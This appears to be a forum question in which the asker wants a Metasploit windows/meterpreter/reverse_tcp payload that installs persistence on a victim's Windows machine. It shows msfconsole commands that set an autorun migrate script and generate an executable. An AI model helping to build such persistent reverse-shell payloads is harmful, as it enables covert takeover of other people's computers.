i want to generate payload whith persistence script that automatically setuped when victim install the payload in window . I know that a multi/handler allow to set autorunscript and it works fine. the problem is i want to generate a payload in windows/meterpreter/reverse_tcp> whith autorun script & i set autorun script correctly and generated the payload but after getting meterpreter session its not loading the script i set. is there a way to make it work or other way to make persistence payload setup heres my commands :- payload(windows/meterpreter/reverse_tcp) > set autorunscript post/windows/manage/migrate then i generated the payload like this generate -f exe -o /root/Desktop/vurus.exeimage here

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.